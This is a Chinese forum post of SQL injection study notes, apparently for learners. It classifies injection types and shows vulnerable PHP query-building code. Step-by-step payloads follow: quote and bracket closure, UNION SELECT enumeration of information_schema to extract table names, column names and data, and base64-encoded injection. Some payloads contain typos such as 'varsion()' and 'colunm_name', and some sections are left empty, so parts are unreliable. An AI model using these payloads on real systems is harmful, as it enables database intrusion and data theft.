SQL注入笔记-记笔记是个好习惯

杳若   ·   发表于 2021-10-17 22:53:13   ·   技术文章

SQL注入的分类SQL注入的分类

sql注入的内容特别多,很多地方需要慢慢吸收才能变成自己的东西

注入手法分类:注入手法分类:

  • 联合查询注入
  • 报错型注入
  • 布尔型注入
  • 延时注入
  • 堆叠注入
  • 插入注入
  • 删除注入
  • 修改注入
  • 等等……

    数据类型分类:

  • 字符型(即输入的输入使用符号进行过滤)
  • 数值型(即输入的输入未使用符号进行过滤)
  • 搜索型
  • JSON型
  • 等等……

    注入位置分类:

  • GET数据(提交数据方式为GET,大多存在地址栏)
  • POST数据(提交数据方式为POST,大多存在输入框中)
  • REQUEST(包含了GET以及POST)
  • HTTP头部(提交数据方式为HTTP头部)
  • cookie数据(提交数据方式为cookie)

    注入功能

  • 查询(最最最常见!)
  • 增加(一般在注册,写东西)
  • 删(删除文章)
  • 改(修改密码)
  • 等等……

    特殊注入

  • DNS注入
  • 二次注入
  • 加解密注入
  • 等等……

按照数据类型分:

我们要先明确参数的类型是什么?

下面以GET型为例

要看开发喜欢怎么写,我们就要思考怎么闭合咯

int型

@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;

那么我们在url输入?id=1 and 1=1,就会变成
select *from user where id=1 and 1=1
成功拼接进入数据库执行 (^-^)V

string型 特点:需要闭合

string型设计成 -不需要闭合-特例

@$id = $_GET['id'];
@$sql = "select *from user where id='.$id.'";

那么我们在url输入?id=1 and 1=1,就会变成

select *from user where id=1 and 1=1
成功拼接进入数据库执行 (^-^)V

string型设计成需要闭合 -单引号闭合

@$id = $_GET['id']; 
@$sql = "select *from user where id=\''.$id.'\'";

那么我们在url输入?id=1 and 1=1,就会变成
select *from user where id='1 and 1=1'

一般数据库内的id不会有1 and 1=1这么长吧?就会失败~
虽然是数字型,也可以这么设计,所以我们要先跳出闭合
select from user where id=’1' and '1‘#输入1’ and ‘1 构造新闭合
select
from user where id=’1' and '1=1‘#输入1’ and ‘1=1 构造新闭合
select from user where id=’-1' or '1‘#输入-1’ or ‘1 构造新闭合
select
from user where id=’1' and 1=1 #‘#输入1’ and 1=1 跳出闭合
select from user where id=’1' and 1=1 --+‘ #输入1’ and 1=1 —+ 跳出闭合
select
from user where id=’1' and 1=1 -- q‘#输入1’ and 1=1 — q 跳出闭合

构造的方法还是比较多滴~

string型型设计成需要闭合-双引号闭合

@$id = $_GET['id'];
@$sql = "select *from user where id=\"'.$id.'\"";

构造闭合
select *from user where id=”1" and 1=1 -- qwe“ #输入1” and 1=1 — qwe 凭自己喜好构造闭合

string型设计成需要闭合-单引号+括号

@$id = $_GET['id'];
@$sql = "select *from user where id=('\'.$id.'\')";

构造闭合
select *from user where id=(‘1') and 1=1 -- qwe‘) #输入 1’) and 1=1 — qwe 凭自己喜好构造闭合

string型设计成需要闭合 -双引号+括号

@$id = $_GET['id'];
@$sql = "select *from user where id=("'.$id.'")";

构造闭合
select *from user where id=(“1") and 1=1 -- qwe“) #输入 1”) and 1=1 — qwe 凭自己喜好构造闭合

string型设计成需要闭合 -变态型,只能碰运气

@$id = $_GET['id'];
@$sql = "select *from user where id=(((((((((((("'.$id.'")))))))))))";

你永远也不会知道到底加了多少个引号进行闭合,多少个括号……


search%搜索型

搜索型 ->百分号+单引号 ->Ps:一般在搜索栏可能存在哦

@$id = $_GET['id'];
@$sql = "select *from user where id like '\'.%$id%.'\'";

构造闭合
select *from user where id like ‘%1%' and 1=1 -- qwe%’; #输入 1%’ and 1=1 — qwe 凭自己喜好构造闭合

JSON型 app数据的提交比较常见

{
'user':'xxxxxxxx1',
'password':'Xxxxxxx1'
}

按照请求方法分类:

burp抓包 -> 添加或者修改传参 -> HTTP-USER-AGENT: 123 ->会输出123
一般重要的是USER-AGENT、X-FORWARDED-FOR、REFERE

$_SERVER还有:
$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]//浏览器语言
$_SERVER[‘REMOTE_ADDR’] //当前用户 IP 。
$_SERVER[‘REMOTE_HOST’] //当前用户主机名
$_SERVER[‘REQUEST_URI’] //URL
……
参考https://blog.csdn.net/moliyiran/article/details/79806108


注入功能分类

要把自己代入带开发的角度来看待注入

select型注入

详情可参考SQL | 003 | 分类 | 01数据类型区分 | int | string | search | JSON的内容
一般出现在 查询 、 访问不同类型的网页 、登录时查询帐号密码 等地方

@$id = $_GET['id'];
@$sql = "select *from user where id='$id'";

select *from user where id=’1’ and 1=1 — q’ #输入1’ and 1=1 — q 跳出闭合


注入手法分类

| 高权限 | 联合注入 | information |

  • 查询版本varsion() -> 5.0以上

  • 利用information_schema

  • 利用union

GET手注—联合注入
测试是否存在注入(limit是mysql自带的,所以1正常2不正常必定是mysql且存在注入)

 id = 1 and 1=1 limit 0,1 (正常)
 id = 1 and 1=2 limit 0,1 (错误)

存在之后根据数据库类型、特色以及注入位置确定注入方法
确定该查询的字段数

id = 1 order by x

确定字段之后要确定显错位(假设3个字段数)

id = -1 union select 19999,29999,39999  (有的显错位不一定显示出来)

F12搜索源代码中9999部分 因为有的可能不显示在页面上
查询数据库版本

id = -1 union select 19999,varsion(),39999

查询库名 (假设29999是显错位)

id = -1 union select 19999,database(),39999

查询数据库用户权限

id = -1 union select 19999,user(),39999

查询操作系统

id = -1 union select 19999,@@version_compile_os,39999

查询表的数量

id = -1 union select 19999,count(*),39999 from information_schema.tables where table_schema=database()

查询表名(多个表)

id = -1 union select 19999,table_name,39999 from information_schema.tables where table_schema=database() limit 0,1

id = -1 union select 19999,group_concat(table_name),39999 from     information_schema.tables where table_schema=database()

查询字段的数量(假设表为cc)

id = -1 union select 19999,count(*),39999 from information_schema.columns where table_schema=database() and table_name='cc'

查询字段名(每个表里面存在多个字段)

id = -1 union select 19999,colunm_name,39999 from information_schema.columns where table_schema=database() and table_name='cc' limit 0,1

id = -1 union select 19999,colunm_name,39999 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1    -> 子查询套娃

id = -1 union select 19999,group_concat(colunm_name),39999 from information_schema.columns where table_schema=database() and table_name='cc'

查询字段数据(假设字段名是a)

id = -1 union select 19999,a,39999 from database().cc  limit 0,1->指定库下的表,不搜全部的表

id = -1 union select 19999,group_concat(a),39999 from database().cc

二次注入


加解密注入

看url传参是否正常判定
例如

@$id = $_GET['id'];                            #传参
@$id = base64_decode($id);                     #64解密
@$sql = "select *from user where id='$id'";    #查询
@$sql = base64_encode($sql);                   #64加密
echo "你找的是:"."$sql";

即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器

会将所有的传参进行64解密 -> 才进行数据库查询 -> 最后会以加密的形式输出

www.ccc.com/?id=MQ==

我们发现url是id=MQ== -> 存在= -> 猜测是base64加密
加密部分:MQ== -> 利用解密软件 -> 解密结果:1 相当于id=1

所以我们在注入的时候不能直接写 ‘ and 1=1 -> 因为会被解密 -> jwuăP -> 根本无效!!

因此我们在注入的时候要先将 ‘ and 1=1 进行加密 -> JTI3JTIwYW5kJTIwMSUzRDE=

将1’ and 1=1 加密 -> MSUyNyUyMGFuZCUyMDElM0Qx
构造url:

www.ccc.com/?id=MSUyNyUyMGFuZCUyMDElM0Qx


中转注入-加解密注入优化版

假设攻击目标,存在加解密
http://rhiq8003.ia.aqlab.cn/?id=MQ==
我自己搭一个中转站

堆叠查询注入

因为我上传了好几次代码,上传完都被删掉了。。。所以改成了图片

用户名金币积分时间理由
Track-劲夫 50.00 0 2021-10-23 12:12:55 一个受益终生的帖子~~

打赏我,让我更有动力~

2 条回复   |  直到 2021-11-14 | 1422 次浏览

Track-劲夫
发表于 2021-10-23

把自己学会的知识进行总结,拓展,很不错

评论列表

  • 加载数据中...

编写评论内容

ouyz8699
发表于 2021-11-14

闭合插眼

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.